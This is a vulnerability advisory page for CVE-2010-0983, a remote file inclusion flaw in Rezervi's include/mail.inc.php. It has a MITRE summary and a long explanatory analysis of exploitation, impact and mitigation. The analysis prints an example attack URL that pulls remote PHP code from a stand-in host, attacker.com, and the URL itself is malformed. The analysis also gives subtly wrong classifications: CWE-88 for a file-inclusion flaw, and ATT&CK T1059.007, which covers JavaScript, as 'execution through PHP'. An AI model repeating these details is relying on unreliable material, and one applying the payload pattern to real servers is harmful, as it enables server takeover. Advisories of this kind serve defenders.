CVE-2010-0983 in Rezervi
Summary
by MITRE
PHP remote file inclusion vulnerability in include/mail.inc.php in Rezervi 3.0.2 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the root parameter, a different vector than CVE-2007-2156.
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Analysis
by VulDB Data Team • 05/02/2026
The vulnerability identified as CVE-2010-0983 represents a critical remote file inclusion flaw within the Rezervi 3.0.2 content management system, specifically affecting the include/mail.inc.php script. This vulnerability operates under the premise that the PHP configuration has register_globals enabled, a deprecated feature that automatically converts GET, POST, and Cookie variables into global variables. The flaw manifests when an attacker manipulates the root parameter to inject a malicious URL, enabling arbitrary code execution on the target server. This vulnerability type falls under the CWE-88 category, which addresses improper neutralization of special elements used in an expression, specifically in the context of remote file inclusion attacks. The vulnerability is particularly dangerous because it leverages the dangerous combination of register_globals being enabled alongside unsanitized input parameters, creating a pathway for attackers to execute malicious code directly on the web server hosting the vulnerable application. The attack vector differs from CVE-2007-2156, indicating a distinct exploitation method that specifically targets the mail.inc.php file, making it a unique threat within the Rezervi application ecosystem.
The technical exploitation of this vulnerability requires a precise understanding of PHP's variable handling mechanisms and the specific configuration of the target system. When register_globals is enabled, any parameter passed to the script becomes automatically available as a global variable, eliminating the need for explicit variable assignment. Attackers can construct malicious URLs that include the root parameter with a remote file URL, such as http://attacker.com/malicious.php?root=http://attacker.com/malicious.php, which when processed by the vulnerable mail.inc.php script, will include and execute the remote malicious code. This technique bypasses traditional input validation measures because the vulnerability exists in the configuration rather than the application logic itself. The exploitation process involves careful crafting of the URL to ensure that the remote file inclusion occurs before any sanitization checks can be applied, and that the malicious code is properly formatted to execute within the PHP environment. The vulnerability demonstrates a fundamental security flaw in legacy PHP applications that continue to support deprecated features like register_globals, which should never be enabled in production environments.
The operational impact of CVE-2010-0983 extends far beyond simple code execution, as it provides attackers with complete control over the affected server. Successful exploitation allows attackers to upload and execute arbitrary code, potentially leading to full system compromise, data exfiltration, and establishment of persistent backdoors. The vulnerability affects any organization running Rezervi 3.0.2 or earlier versions with register_globals enabled, making it particularly concerning for legacy systems that have not been properly updated or secured. Organizations may face severe consequences including unauthorized access to sensitive data, service disruption, and potential regulatory violations if the compromised system contains personal or financial information. The attack surface is significantly expanded because the vulnerability can be exploited without requiring authentication, making it particularly dangerous for publicly accessible web applications. Additionally, the vulnerability can serve as a stepping stone for attackers to escalate privileges and move laterally within network environments, especially if the compromised server has access to other internal systems. This type of vulnerability aligns with the attack patterns documented in the MITRE ATT&CK framework under the T1059.007 technique for execution through PHP, emphasizing the importance of proper input validation and secure coding practices.
Mitigation strategies for CVE-2010-0983 must address both the immediate vulnerability and the underlying configuration issues that enable exploitation. The most effective immediate fix involves disabling the register_globals directive in the PHP configuration file, which completely eliminates the vulnerability by preventing automatic variable conversion from input parameters. Organizations should also implement proper input validation and sanitization measures, ensuring that all parameters passed to include statements are properly validated before use. The recommended approach includes upgrading to Rezervi versions 3.0.3 or later, which contain patches specifically addressing this vulnerability. Additionally, implementing web application firewalls and security monitoring systems can help detect and prevent exploitation attempts by identifying suspicious URL patterns and parameter manipulation. Security configurations should enforce the principle of least privilege, ensuring that web applications run with minimal required permissions and that file inclusion operations are properly restricted. The vulnerability highlights the critical importance of maintaining up-to-date software versions and avoiding deprecated PHP features that introduce unnecessary security risks. Organizations should also conduct regular security assessments and penetration testing to identify similar vulnerabilities in their web applications, ensuring comprehensive protection against remote code execution attacks that could compromise their entire infrastructure.